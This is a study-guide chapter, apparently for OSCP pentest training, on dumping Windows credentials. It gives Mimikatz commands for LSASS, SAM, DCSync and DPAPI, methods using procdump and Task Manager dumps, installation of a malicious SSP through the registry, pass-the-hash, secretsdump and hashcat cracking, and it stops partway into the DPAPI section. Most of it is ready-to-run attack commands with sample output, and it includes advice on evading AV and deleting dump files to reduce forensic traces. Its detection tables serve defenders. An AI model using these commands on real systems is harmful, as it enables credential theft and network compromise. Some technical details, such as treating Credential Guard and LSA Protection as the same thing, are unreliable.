Domain 6Active Directory AttacksCORE

Credential Dumping

Complete guide to credential dumping techniques including Mimikatz mastery, LSASS memory extraction methods, SAM database extraction, DPAPI credential extraction, and Windows Credential Manager access. Covers multiple extraction methods, tools, detection, and mitigation.

Domain: Domain 6: Active Directory Exploitation•Updated: 2026-09-01
#Mimikatz#LSASS#SAM#DPAPI#Credential Manager#Credential Dumping

Credential Dumping

OSCP Study Guide | Chapter 18, Section 4

This section covers the art and science of extracting credentials from Windows systems — from LSASS memory to SAM databases, DPAPI-protected stores, and the Windows Credential Manager.


Table of Contents

  1. 4.1 Mimikatz Mastery
  2. 4.2 LSASS Memory Extraction Methods
  3. 4.3 SAM Database Extraction
  4. 4.4 DPAPI Credential Extraction
  5. 4.5 Credential Manager Access
  6. Quick Reference: Credential Dumping Cheat Sheet

4.1 Mimikatz Mastery

What is Mimikatz?

Mimikatz is widely regarded as the most powerful and versatile credential dumping tool available for Windows environments. Developed by French security researcher Benjamin Delpy (gentilkiwi), it has become the de facto standard for extracting authentication material from Windows systems.

At its core, Mimikatz is a multi-module framework that operates at both the kernel and user levels to extract:

  • Plaintext passwords stored in memory
  • NTLM and LM hashes for offline cracking
  • Kerberos tickets (TGTs and TGS tickets) for pass-the-ticket attacks
  • DPAPI-protected credentials (browser passwords, WiFi credentials, Windows vault)
  • LSA secrets (stored passwords, autologon credentials, domain trust secrets)
  • Smart card and PIN data

Why Does Mimikatz Work?

The fundamental reason Mimikatz works is that Windows must keep credentials in memory (in cleartext or reversible form) at some point during the authentication process. Several Windows subsystems store credentials in ways that are accessible to processes with sufficient privileges:

Subsystem What It Stores How Mimikatz Accesses It
LSASS All authentication data (passwords, hashes, Kerberos tickets) Direct memory reading, DLL injection, or minidump
WDigest Plaintext passwords for cached authentication Memory extraction from LSASS
** Kerberos** Ticket session keys (sometimes plaintext passwords) Memory extraction from LSASS
MSCache NTLMv2 hashes of cached domain credentials Memory extraction from LSASS
SAM Local account password hashes Registry hive manipulation
DPAPI Master keys and encrypted blobs Key derivation from NTLM hash

Prerequisites

Before using Mimikatz, ensure you have:

Requirement Details
Administrative privileges At minimum, Administrator or SYSTEM on the target machine
Debug privilege Must enable SeDebugPrivilege via privilege::debug
Architecture match 32-bit Mimikatz for 32-bit OS, 64-bit for 64-bit OS (or use x86 version on WOW64)
AV/EDR awareness Mimikatz is heavily detected; consider obfuscation or alternative tools
Windows version Behavior varies significantly across Windows versions (see protection section below)

Obtaining and Running Mimikatz

# Method 1: Download precompiled binary
# From GitHub: https://github.com/gentilkiwi/mimikatz/releases
# Place mimikatz.exe on the target system

# Method 2: Compile from source (for custom builds)
# Requires Visual Studio and Windows SDK

# Method 3: Use Invoke-Mimikatz (PowerShell wrapper)
# Part of PowerSploit
Import-Module .\Invoke-Mimikatz.ps1
Invoke-Mimikatz

# Start Mimikatz interactive console
.\mimikatz.exe

The Mimikatz Interactive Console

Once launched, you’ll see the Mimikatz prompt:

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 25 2023 17:27:03
 .## ^ ##.  https://github.com/gentilkiwi/mimikatz
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz #

The first command you should always run:

mimikatz # privilege::debug

This enables the SeDebugPrivilege, which allows your process to read and manipulate other processes’ memory — specifically LSASS.

Core Modules Deep Dive

Module 1: sekurlsa — LSASS Memory Extraction

The sekurlsa (Security Kernel User Local Security Authority) module is Mimikatz’s most famous capability. It reads the memory of the lsass.exe process to extract all authentication data.

Sub-commands:

Command Purpose Output
sekurlsa::logonpasswords Extract all logon session credentials Plaintext passwords, NTLM hashes, Kerberos keys
sekurlsa::logonpasswords /user:Administrator Extract credentials for a specific user Same as above, filtered
sekurlsa::wdigest Extract WDigest plaintext credentials Plaintext passwords cached by WDigest
sekurlsa::kerberos Extract Kerberos ticket data Ticket session keys, sometimes plaintext
sekurlsa::tickets List all Kerberos tickets in LSASS Ticket IDs, types, and metadata
sekurlsa::tickets /export Export all tickets to .kirbi files Binary .kirbi ticket files on disk
sekurlsa::mscache Extract cached NTLMv2 hashes NTLMv2 credential cache hashes
sekurlsa::search Search LSASS memory for patterns Raw memory search results
sekurlsa::process List processes with credential data Process list with credential types
sekurlsa::dpapi Extract DPAPI credentials from LSASS DPAPI master keys and blobs

Example output of sekurlsa::logonpasswords:

mimikatz # sekurlsa::logonpasswords

AuthId      Package   Domain        SID                        NTLM              SHA1
------      -------   ------        ---                        ----              ----
0;222       Primary   NT AUTHORITY  S-1-5-18
                                Kerberos      -
0;3632810   WDIGEST   WORKGROUP     S-1-5-21-...-500
                                    Username:  administrator
                                    Domain:   WORKGROUP
                                    Password:  P@ssw0rd123
                                    LM:        aad3b435b51404eeaad3b435b51404ee
                                    NTLM:      8846f7eaee8fb117ad06bdd830b7586c
                                    SHA1:      6e8f...

Understanding the output fields:

  • AuthId: Authentication session identifier
  • Package: The authentication package used (WDIGEST, Kerberos, Primary, etc.)
  • Domain: The domain or workgroup the credential belongs to
  • SID: Security Identifier of the account
  • NTLM: The NTLM hash (can be used for pass-the-hash)
  • LM: LAN Manager hash (often disabled; shows as aad3b435b51404eeaad3b435b51404ee when disabled)
  • SHA1: SHA1 hash of the password

Module 2: kerberos — Kerberos Ticket Manipulation

The kerberos module handles all Kerberos-related operations, from listing and injecting tickets to forging golden and silver tickets.

Command Purpose
kerberos::list List all Kerberos tickets in the current session
kerberos::ptt ticket.kirbi Pass the Ticket — inject a .kirbi ticket into the current session
kerberos::golden Forge a Golden Ticket (forged TGT)
kerberos::silver Forge a Silver Ticket (forged TGS)
kerberos::s4u Perform S4U2Self/S4U2Proxy attacks
kerberos::ask Request a TGT from the KDC
kerberos::tgs Request a TGS ticket for a specific service

Listing current tickets:

mimikatz # kerberos::list

   0>       Client: user @ DOMAIN.COM
             Server: krbtgt/DOMAIN.COM @ DOMAIN.COM
             StartTime: 08/15/2026 10:30:00
             EndTime:   08/15/2026 20:30:00
             RenewUntil: 08/16/2026 10:30:00
             EncryptionType: aes256-cts-hmac-sha1-96
             TicketSessionKey: a1b2c3d4e5f6...

Pass the Ticket (PTT):

mimikatz # kerberos::ptt 2-0-40e10000.kirbi
[*] Action :Credentials - Kernel :: PAC Request
[*] PAC build: OK
[*] PAC size: 1024
[*] OpenSession: OK
[*] SetSessionCredentials: OK

After PTT, verify with klist:

klist tickets

Module 3: lsadump — SAM, DCSync, and LSA Secrets

The lsadump module handles domain and local credential extraction at the LSA level.

Command Purpose
lsadump::sam Dump the SAM database (local account hashes)
lsadump::dcsync /user:domain\krbtgt Perform DCSync to extract domain account data
lsadump::lsa /inject Dump LSA secrets (stored passwords, autologon, etc.)
lsadump::secrets Dump all LSA secrets
lsadump::caches Dump cached domain credentials
lsadump::laps Extract LAPS passwords

SAM dump:

mimikatz # lsadump::sam

[*] Action : Dump SAM hashes (local account hashes)
[*] SAM domain : TARGET-PC
[*] Local SID  : S-1-5-21-3623806833-3366496756-3265916467

RID  : 000001f4 (500)
  Username : Administrator
  $  LM   : aad3b435b51404eeaad3b435b51404ee
  $  NTLM : 2a5e5f3b8a7c9d1e0f2a3b4c5d6e7f8a
  $  SHA1 : 1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b

RID  : 000003e8 (1000)
  Username : john.doe
  $  LM   : aad3b435b51404eeaad3b435b51404ee
  $  NTLM : 9b0e1c2a3d4e5f6a7b8c9d0e1f2a3b4c

DCSync attack:

mimikatz # lsadump::dcsync /user:domain\krbtgt

[*] Action : Perform the DCSync with thekrbtgt as target user
[*] Searching user...
[*]   User Domain Part:   domain
[*]   User Leaf Part:     krbtgt
[*] Connecting to 'ldap://dc.domain.com'...
[*]   Binding to 'ldap://dc.domain.com' with current credentials...
[*]   In-Progress with 'ldap://dc.domain.com'...
[*] Enabling SPN check
[...]
  $  NTLM: aad3b435b51404eeaad3b435b51404ee
  $  NTLM: 8846f7eaee8fb117ad06bdd830b7586c

Module 4: dpapi — Data Protection API Credential Extraction

The dpapi module decrypts credentials protected by Windows DPAPI. This includes browser passwords, WiFi credentials, and Windows Credential Manager entries.

Command Purpose
dpapi::chrome Extract Chrome/Edge browser credentials
dpapi::firefox Extract Firefox browser credentials
dpapi::cred Extract Windows Credential Manager entries
dpapi::masterkey Extract/decrypt a DPAPI master key
dpapi::blob Decrypt an arbitrary DPAPI blob
dpapi::msedge Extract Microsoft Edge credentials

Extracting Chrome credentials:

mimikatz # dpapi::chrome /in:"C:\Users\user\AppData\Local\Google\Chrome\User Data\Login Data"

[*] Chrome : 'C:\Users\user\AppData\Local\Google\Chrome\User Data\Login Data'
  URL: https://example.com
  Action: https://example.com/login
  Login: user@example.com
  Password: SuperSecret123!

Module 5: token — Token Manipulation

The token module allows you to manipulate Windows security tokens for privilege escalation and impersonation.

Command Purpose
token::elevate Elevate current Mimikatz process to SYSTEM
token::elevate /name:lsass Impersonate a specific process’s token
token::revert Revert to the original token
token::list List available tokens
mimikatz # token::elevate
[*] Current user  : NT AUTHORITY\SYSTEM
[*] Process token elevation: OK
[*] UID SID: S-1-5-21-...-500

mimikatz # token::revert

Module 6: privilege — Privilege Management

Command Purpose
privilege::debug Enable SeDebugPrivilege (required for most operations)
privilege::backup Enable SeBackupPrivilege
privilege::all Enable all available privileges

Module 7: crypto — Certificate and Key Extraction

Command Purpose
crypto::certificates List certificates in the current store
crypto::capi Extract CAPI credentials
crypto::cng Extract CNG credentials

Pass-the-Hash with Mimikatz

Pass-the-Hash (PtH) allows authentication using an NTLM hash instead of a plaintext password:

mimikatz # sekurlsa::pth /user:Administrator /domain:domain.com /ntlm:8846f7eaee8fb117ad06bdd830b7586c /run:cmd.exe

This spawns a new cmd.exe process authenticated as Administrator using only the NTLM hash.

Pass-the-Ticket with Mimikatz

# Step 1: Export tickets
mimikatz # sekurlsa::tickets /export

# Step 2: Inject a specific ticket
mimikatz # kerberos::ptt 2-0-40e10000.kirbi

# Step 3: Verify
mimikatz # kerberos::list

Windows Protection Mechanisms and Bypasses

Microsoft has progressively hardened Windows against Mimikatz. Understanding these protections is critical:

Protection Introduced What It Does Bypass/Workaround
WDigest disabled by default Windows 8 / Server 2012 No plaintext passwords in WDigest Enable via registry, or use other credential types
CredGuard (LSA Protection) Windows 10 1803 / Server 2019 Isolates LSASS in a protected process; prevents DLL injection Use sekurlsa::minidump + sekurlsa::logonpasswords on the dump
Protected Process Light (PPL) Windows 10 1607 Marks LSASS as a protected process Minidump approach works; direct injection blocked
Virtualization-Based Security (VBS) Windows 10 1709 Hardware-enforced isolation of LSASS Requires hypervisor-level attack or boot-time compromise
Credential Guard Windows 10 1709 Moves credentials to isolated VM Extremely difficult to bypass; focus on other attack vectors
PatchGuard (Kernel Patch Protection) Windows Vista+ Prevents kernel modifications Use user-mode techniques only

Critical: The Minidump Bypass for CredGuard/PPL

When direct injection is blocked, use the two-step minidump approach:

# Step 1: Create a minidump of LSASS (this works even with PPL)
mimikatz # sekurlsa::minidump C:\temp\lsass.dmp

# Step 2: Parse the dump file (no injection needed)
mimikatz # sekurlsa::logonpasswords

This is the most reliable method on modern Windows systems and is the recommended approach for OSCP labs.

One-Liner Commands

For quick operations without entering the interactive console:

# Extract all credentials (minidump method)
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

# Extract and export tickets
.\mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

# SAM dump
.\mimikatz.exe "privilege::debug" "lsadump::sam" "exit"

# DCSync
.\mimikatz.exe "privilege::debug" "lsadump::dcsync /user:domain\krbtgt" "exit"

# Chrome credentials
.\mimikatz.exe "dpapi::chrome" "exit"

OSCP Exam Relevance

High Priority — Mimikatz is one of the most frequently tested tools on the OSCP exam.

  • You will likely encounter at least one machine where Mimikatz (or equivalent) is the primary credential extraction method
  • Know the sekurlsa::logonpasswords command cold — it’s the most commonly used
  • Understand when to use the minidump approach vs. direct injection
  • Be comfortable with pass-the-hash and pass-the-ticket workflows
  • Know how to extract Chrome/Edge credentials using dpapi::chrome
  • DCSync via lsadump::dcsync is a common domain escalation technique

Lab Practice Suggestions

  1. Set up a Windows lab (Windows 10 or Server 2019) and practice each sekurlsa sub-command
  2. Practice the minidump workflow — create a dump, then parse it
  3. Export and inject Kerberos tickets — use sekurlsa::tickets /export followed by kerberos::ptt
  4. Practice DCSync in a domain environment — extract the krbtgt hash
  5. Extract browser credentials — install Chrome, save some passwords, then use dpapi::chrome
  6. Practice pass-the-hash — use an extracted NTLM hash to spawn a new shell

Common Pitfalls and Troubleshooting

Problem Cause Solution
Privilege 'SeDebugPrivilege' not found Not running as Administrator Run Mimikatz as SYSTEM or Administrator
No credentials found CredGuard/PPL blocking, or no logon sessions Use minidump method; check if WDigest is enabled
Architecture mismatch Running 32-bit Mimikatz on 64-bit LSASS (or vice versa) Use the correct architecture version
AV detected and deleted Mimikatz Antivirus/EDR signature detection Use Invoke-Mimikatz, Procdump + offline analysis, or alternative tools
sekurlsa::logonpasswords shows nothing Windows 10+ with protections enabled Use sekurlsa::minidump first, then parse
dpapi::chrome fails Chrome not installed or no saved passwords Check Chrome’s Login Data file exists; try Edge instead
DCSync fails with access denied Insufficient privileges for DSReplication Need Domain Admin or DCSync rights

4.2 LSASS Memory Extraction Methods

Understanding LSASS

The Local Security Authority Subsystem Service (lsass.exe) is a critical Windows process responsible for:

  • Enforcing the security policy on the system
  • Creating access tokens when users log on
  • Verifying passwords for domain logons
  • Auditing and event logging
  • Generating and storing Security Identifiers (SIDs)

Because LSASS handles authentication, it must store credential material in memory. This is the attack surface that credential dumping exploits.

What Credentials Live in LSASS?

Credential Type Storage Location Conditions
Plaintext passwords WDigest credentials WDigest must be enabled
NTLM hashes Cached credentials Always present for domain accounts
Kerberos session keys Kerberos credentials Always present for Kerberos-authenticated sessions
Kerberos tickets Ticket cache TGTs and TGS tickets for all active sessions
MSCache v2 Cached domain logons Up to 10 cached credentials by default
Smart card PINs Smart card credentials Only if smart card logon was used

Method Comparison Matrix

Method Tool Detection Risk Reliability Windows Compatibility Description
Direct Injection (sekurlsa::logonpasswords) Mimikatz High High (older OS) Win 7/8, Server 2008/2012 Injects DLL into LSASS and reads memory directly
MiniDump (sekurlsa::minidump) Mimikatz Medium Very High All versions (including Win 10+/Server 2019+) Creates a memory dump, then parses it
Procdump Sysinternals + Mimikatz Low High All versions Uses legitimate Microsoft tool to create dump
Task Manager Built-in Very Low Medium Win 8+ Manual dump via right-click → Create Dump File
SSP (Secret Store Provider) Mimikatz custom DLL Low High (pre-logon) All versions Custom LSA SSP captures creds at authentication time
Comsvcs.dll Mimikatz Medium High All versions Alternative DLL for dump creation
RDPThief Custom tool Low Medium Win 7/8 Captures creds during RDP sessions
NinjaCopy Custom tool Low Medium All versions Copies LSASS memory pages stealthily

Method 1: Direct Injection (Classic Approach)

This is the original Mimikatz method. It injects a DLL directly into the LSASS process and reads credential structures from memory.

Prerequisites:

  • Administrator or SYSTEM privileges
  • SeDebugPrivilege enabled
  • No CredGuard / LSA Protection enabled

Step-by-step:

# Step 1: Start Mimikatz as Administrator
.\mimikatz.exe

# Step 2: Enable debug privilege
mimikatz # privilege::debug
[*] Privilege '20' OK

# Step 3: Extract all logon passwords
mimikatz # sekurlsa::logonpasswords

# Step 4: (Optional) Filter for a specific user
mimikatz # sekurlsa::logonpasswords /user:Administrator

# Step 5: (Optional) Extract only Kerberos credentials
mimikatz # sekurlsa::kerberos

# Step 6: (Optional) Extract WDigest plaintext passwords
mimikatz # sekurlsa::wdigest

Why this might fail on modern systems:

On Windows 10 1803+ and Server 2019+, LSASS runs as a Protected Process Light (PPL). This prevents any other process from injecting code or reading its memory directly. The error you’ll see:

[-] OpenProcess -> Access is denied

When this happens, switch to the MiniDump method.

This is the most reliable method on modern Windows systems. It works in two phases:

  1. Create a memory dump of LSASS (this operation is allowed even against PPL processes)
  2. Parse the dump file locally (no injection needed)

Step-by-step using Mimikatz:

# Step 1: Start Mimikatz as Administrator
.\mimikatz.exe

# Step 2: Enable debug privilege
mimikatz # privilege::debug

# Step 3: Create a minidump of LSASS
mimikatz # sekurlsa::minidump /process:lsass

# Or specify the PID explicitly
mimikatz # sekurlsa::minidump lsass.exe

# This creates a dump file (usually in the current directory)
# Output: [*] MiniDump -> .\lsass.dmp

# Step 4: Parse the dump file
mimikatz # sekurlsa::logonpasswords

# Mimikatz automatically detects and uses the dump file
# No injection into LSASS needed!

Step-by-step using Procdump (Microsoft Sysinternals):

Procdump is a legitimate Microsoft tool, making it less suspicious:

# Step 1: Download Procdump from Microsoft Sysinternals
# https://learn.microsoft.com/en-us/sysinternals/downloads/procdump

# Step 2: Create a full memory dump of LSASS
procdump.exe -ma lsass.exe C:\temp\lsass.dmp

# Output:
# ProcDump v10.0 - Sysinternals process dump utility
# Copyright (C) 2009-2023 Mark Russinovich and Andrew Richards
# [...]
# [00:00:01] Dump 1 initiated: C:\temp\lsass.dmp
# [00:00:02] Dump 1 writing: Estimated dump file size is 125 MB.
# [00:00:05] Dump 1 complete: time stamp is 2026-08-31_10-30-45.

# Step 3: Use Mimikatz to parse the dump
.\mimikatz.exe "sekurlsa::minidump C:\temp\lsass.dmp" "sekurlsa::logonpasswords" "exit"

One-liner combining both steps:

# Using Mimikatz built-in minidump
.\mimikatz.exe "privilege::debug" "sekurlsa::minidump" "sekurlsa::logonpasswords" "exit"

# Using Procdump + Mimikatz
procdump.exe -ma lsass.exe lsass.dmp; .\mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit"

Method 3: Task Manager (Built-in, No Tools Needed)

Windows 8 and later include a built-in dump creation feature in Task Manager:

1. Open Task Manager (Ctrl+Shift+Esc)
2. Go to "Details" tab
3. Find "lsass.exe"
4. Right-click → "Create dump file"
5. Task Manager shows: "Dump created for lsass.exe: C:\Users\<user>\AppData\Local\Temp\lsass.exe.xxx.dmp"
6. Use Mimikatz to parse: sekurlsa::minidump <path_to_dump>

Advantages:

  • No external tools needed
  • Very low detection risk (built-in Windows feature)
  • Works on all modern Windows versions

Disadvantages:

  • Requires interactive desktop access
  • Dump path varies; must locate the file
  • May produce incomplete dumps

Method 4: SSP (Secret Store Provider) — Pre-Positioning

The SSP method is fundamentally different from all others. Instead of extracting credentials after they exist, it captures credentials at the moment of authentication.

How it works:

  1. You create a custom LSA Security Support Provider (SSP) DLL
  2. This DLL is registered in the LSA configuration
  3. When any user authenticates to the system, the LSA loads all SSP DLLs
  4. Your custom SSP receives the plaintext credentials during the authentication process
  5. The SSP writes the credentials to a file or sends them over the network

Setup (must be done BEFORE target logs in):

# Step 1: Copy the custom SSP DLL to System32
# The DLL is typically named mimikatz.ssp or similar
copy mimikatz.ssp C:\Windows\System32\mimikatz.ssp

# Step 2: Register the SSP in the LSA configuration
# Edit the registry:
# HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages
# Add "mimikatz" to the space-separated list

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v SecurityPackages /t REG_MULTI_SZ /d "pku2u schannel wdigest tspkg msv1_0 mimikatz" /f

# Step 3: Reboot the system (or restart LSA)
# After reboot, the next authentication will be captured

# Step 4: Check the output file
# Credentials are typically written to:
# C:\Windows\System32\mimikatz_log.txt
# Or C:\Windows\Temp\sspicap_log.txt

Mimikatz built-in SSP command:

mimikatz # misc::memssp
[*] Miscellaneous : Install Memory SSP
[*] Current path : C:\path\to\mimikatz.exe
[*] SSP DLL      : mimikatz.dll
[*] Registry key : HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows

When to use SSP:

  • You have persistent admin access and can reboot
  • You want to capture credentials from specific users (e.g., admins who will log in later)
  • You cannot dump LSASS directly (strong protections)

Risks:

  • Requires reboot (detectable)
  • Registry modification is visible
  • Requires pre-positioning (not a reactive technique)

Method 5: Comsvcs.dll Alternative

Mimikatz can use comsvcs.dll (a legitimate Windows DLL) instead of its own DLL for certain operations:

mimikatz # !+comsvcs
mimikatz # sekurlsa::logonpasswords

This can sometimes bypass basic AV signatures that look for Mimikatz’s own DLL patterns.

Enabling WDigest for Plaintext Passwords

On Windows 8+/Server 2012+, WDigest is disabled by default, meaning plaintext passwords are NOT stored in LSASS. If you specifically need plaintext passwords:

# Enable WDigest (requires reboot or logoff/logon)
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

# After enabling, the next logon will cache the plaintext password in LSASS
# Then you can extract it with:
sekurlsa::wdigest

Note: This is a persistence/enhancement technique. On the OSCP exam, you typically don’t need to enable WDigest — NTLM hashes and Kerberos keys are usually sufficient.

Detection and Mitigation

Detection Method What to Monitor Event IDs
LSASS process injection DLL injection into lsass.exe Event 10 (Sysmon), Event 4688 (Process Creation)
MiniDump creation Creation of .dmp files from LSASS Event 10 (Sysmon), Event 5158 (File Created)
Mimikatz execution Known Mimikatz hashes and behaviors AMSI, EDRL, Sysmon Event 1
SeDebugPrivilege usage Processes acquiring debug privilege Sysmon Event 20
LSA SSP modification Registry changes to Security Packages Event 4657 (Registry Value Set)
Unusual LSASS access Read access to LSASS memory Sysmon Event 10
Mitigation Description
Enable Credential Guard Virtualization-based isolation of credentials (most effective)
Enable LSA Protection Run LSASS as a protected process (PPL)
Disable WDigest Prevents plaintext password caching (default on Win 8+)
Restrict SeDebugPrivilege Only grant to essential accounts
Deploy EDR Modern EDR solutions detect and block credential dumping
Application whitelisting Prevent unauthorized executables from running
Sysmon deployment Configure Sysmon for comprehensive process monitoring

OSCP Exam Relevance

Critical Priority — LSASS credential dumping is one of the most common post-exploitation steps on OSCP machines.

  • MiniDump method is your go-to — it works on virtually all OSCP lab machines
  • Memorize: privilege::debug → sekurlsa::minidump → sekurlsa::logonpasswords
  • If Mimikatz is blocked by AV, try Procdump + offline Mimikatz parsing
  • Task Manager dump is a great backup when tools are restricted
  • Look for plaintext passwords first, then fall back to NTLM hashes
  • After extraction, use the credentials for lateral movement or privilege escalation

Lab Practice Suggestions

  1. Practice all three methods (direct injection, minidump, Procdump) on different Windows versions
  2. Test on Windows 10 with CredGuard enabled — verify that direct injection fails and minidump works
  3. Practice the full workflow: extract → identify useful credentials → use for lateral movement
  4. Time yourself — on the exam, speed matters. Aim to complete the full dump in under 2 minutes
  5. Practice cleanup — delete dump files after extraction to reduce forensic traces

Common Pitfalls and Troubleshooting

Problem Cause Solution
Access is denied on sekurlsa::logonpasswords PPL/CredGuard protection Use minidump method instead
No credentials found after dump No active logon sessions, or dump failed Verify dump file was created; check file size
Dump file is 0 bytes Procdump/Mimikatz failed to dump Ensure you’re running as Administrator; try alternative method
Only see your own credentials Other users haven’t logged in Wait for admin to log in, or use other extraction methods
Mimikatz crashes on start Architecture mismatch or corrupted binary Download fresh copy; match architecture (x64/x86)
AV quarantines Mimikatz Signature-based detection Use Procdump + offline parsing, or Invoke-Mimikatz

4.3 SAM Database Extraction

Understanding the SAM Database

The Security Accounts Manager (SAM) database is a Windows NT-level database that stores security accounts for local (non-domain) accounts. It contains:

  • Local user account names
  • Password hashes (NTLM and LM)
  • Account metadata (SIDs, passwords last set, etc.)

Key locations:

File Path Purpose
SAM hive C:\Windows\System32\config\SAM Contains local account hashes
SYSTEM hive C:\Windows\System32\config\SYSTEM Contains the boot key (encryption key for SAM)
SECURITY hive C:\Windows\System32\config\SECURITY Contains LSA secrets and policies

Critical concept: The SAM database is encrypted using a key derived from the SYSTEM hive. You need both the SAM and SYSTEM hives to extract usable hashes. The encryption key (boot key) is stored in the SYSTEM registry hive.

Prerequisites

Requirement Details
SYSTEM privileges Must run as NT AUTHORITY\SYSTEM (not just Administrator)
Local access Must have physical or console access to the registry hives
No domain required SAM contains local accounts only; domain accounts are on the DC

Method 1: Mimikatz lsadump::sam

The simplest and most common method:

# Step 1: Ensure you're running as SYSTEM
# (Use token::elevate if needed)
mimikatz # token::elevate

# Step 2: Dump the SAM database
mimikatz # lsadump::sam

# Output example:
# [*] Action : Dump SAM hashes (local account hashes)
# [*] SAM domain : WORKSTATION01
# [*] Local SID  : S-1-5-21-1234567890-1234567890-1234567890
#
# RID  : 000001f4 (500)
#   Username : Administrator
#   $  NTLM : 2a5e5f3b8a7c9d1e0f2a3b4c5d6e7f8a
#
# RID  : 000003e8 (1000)
#   Username : john.doe
#   $  NTLM : 9b0e1c2a3d4e5f6a7b8c9d0e1f2a3b4c

How it works: Mimikatz opens the SAM and SYSTEM registry hives live (from the running registry), extracts the boot key from SYSTEM, decrypts the SAM, and outputs the hashes.

Method 2: Offline SAM Extraction (Registry Hives)

If you cannot run Mimikatz on the target, you can extract the registry hives and parse them offline:

# Step 1: Copy the registry hives from the target
# (Requires SYSTEM privileges and the files must not be in use)

# Option A: Use reg save (from the target machine)
reg save HKLM\SAM C:\temp\SAM.hiv
reg save HKLM\SYSTEM C:\temp\SYSTEM.hiv
reg save HKLM\SECURITY C:\temp\SECURITY.hiv

# Option B: Copy from the offline registry (if you have another install)
copy C:\Windows\System32\config\SAM C:\temp\SAM.hiv
copy C:\Windows\System32\config\SYSTEM C:\temp\SYSTEM.hiv

# Step 2: Transfer hives to your attack machine

# Step 3: Parse offline using Mimikatz
.\mimikatz.exe "lsadump::sam /system:C:\temp\SYSTEM.hiv /sam:C:\temp\SAM.hiv" "exit"

# Step 4: Or use Impacket's secretsdump.py
python3 secretsdump.py -sam SAM.hiv -security SECURITY.hiv -system SYSTEM.hiv LOCAL

Method 3: Impacket secretsdump.py

Impacket provides a powerful Python-based alternative:

# Method A: LOCAL mode (you have the hive files)
python3 secretsdump.py -sam SAM.hiv -security SECURITY.hiv -system SYSTEM.hiv LOCAL

# Method B: REMOTE mode (you have admin credentials on the target)
# This extracts SAM remotely via SMB/registry redirection
python3 secretsdump.py domain.com/administrator:Password123@10.10.10.50

# Method C: Pass-the-Hash remote extraction
python3 secretsdump.py domain.com/administrator -hashes :ntlm_hash@10.10.10.50

# Method D: Extract from a specific user
python3 secretsdump.py domain.com/administrator:Password123@10.10.10.50 -just-dc-user targetuser

Impacket output example:

[*] Dumping local hashes
[*] SAM hashes extracted via remote registry:
Administrator:500:2a5e5f3b8a7c9d1e0f2a3b4c5d6e7f8a:aad3b435b51404eeaad3b435b51404ee:::
john.doe:1000:9b0e1c2a3d4e5f6a7b8c9d0e1f2a3b4c:aad3b435b51404eeaad3b435b51404ee:::

Method 4: Windows Built-in Tools

# NPWDump3 (legacy, no longer maintained but conceptually useful)
# Extracts SAM hashes using native Windows APIs

# Alternatively, use the Windows Registry Editor to export hives
reg export HKLM\SAM C:\temp\SAM.hiv
reg export HKLM\SYSTEM C:\temp\SYSTEM.hiv

SAM vs. Domain Credentials

Aspect SAM Database Domain (AD)
Scope Local accounts only Domain accounts
Location Local registry hives Domain Controller (NTDS.dit)
Extraction tool lsadump::sam lsadump::dcsync or DCSync
Privileges needed SYSTEM on local machine Domain Admin or DCSync rights
Contains Local admin, local users All domain users, krbtgt, etc.

Cracking SAM Hashes

Once extracted, crack the NTLM hashes:

# Prepare hash file (format: username:rid:ntlm:lm)
# Example: Administrator:500:2a5e5f3b8a7c9d1e0f2a3b4c5d6e7f8a:aad3b435b51404eeaad3b435b51404ee

# Crack with Hashcat
hashcat -m 1000 sam_hashes.txt rockyou.txt -O

# With rules
hashcat -m 1000 sam_hashes.txt rockyou.txt -r rules/best64.rule -O

# Crack with John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt sam_hashes.txt

Detection and Mitigation

Detection Mitigation
Monitor registry hive access (SAM, SYSTEM) Use LAPS for local admin password management
Alert on reg save commands Implement strong local admin passwords
Monitor for Mimikatz/Impacket execution Minimize local admin accounts
Sysmon Event 12 (Registry event) for SAM access Enable Credential Guard on domain-joined machines
Monitor for offline hive extraction Restrict physical/console access to workstations

OSCP Exam Relevance

Medium Priority — SAM extraction is relevant when you encounter standalone (non-domain) Windows machines, or when you need local admin hashes for pass-the-hash attacks.

  • Know lsadump::sam as your primary command
  • Understand that SAM only contains local accounts
  • On domain-joined machines, focus on LSASS dumping instead (domain creds live in LSASS, not SAM)
  • Be able to crack extracted NTLM hashes with Hashcat (mode 1000)

Common Pitfalls

Problem Cause Solution
lsadump::sam returns nothing Not running as SYSTEM Use token::elevate first
Hashes show as all zeros Corrupted SAM or extraction error Re-extract; try Impacket instead
LM hash is aad3b435b51404eeaad3b435b51404ee LM hashing is disabled (normal) Focus on the NTLM hash
Cannot access SAM file File locked by registry Use reg save or Mimikatz’s live extraction

4.4 DPAPI Credential Extraction

Understanding DPAPI

Data Protection API (DPAPI) is a Windows cryptographic API that applications use to encrypt sensitive data. It is used by:

  • Web browsers (Chrome, Edge, Firefox) to encrypt saved passwords
  • Windows Credential Manager to protect stored credentials
  • Applications to protect configuration data and API keys
  • RDP to protect saved connection credentials
  • WiFi to protect stored network passwords

How DPAPI works:

User Password (NTLM Hash)
       |
       v
+------------------+
|  Master Key      |  <-- Stored per-user, encrypted with user's NTLM hash
|  (per-user key)  |
+------------------+
       |
       v
+------------------+
|  Protected Data  |  <-- Browser passwords, WiFi creds, etc.
|  (encrypted blob)|      Encrypted with the Master Key
+------------------+

Key insight: If you know a user’s NTLM hash (or plaintext password), you can derive their DPAPI master key and decrypt ALL of their DPAPI-protected data. This is why LSASS dumping and DPAPI extraction are often used together.

DPAPI Key Hierarchy

Machine Account Key (domain-joined)  OR  User's NTLM Hash
              |
              v
      +------------------+
      |   Master Key     |  (One per user, stored in %APPDATA%\Microsoft\Protect\SID\)
      +------------------+
              |
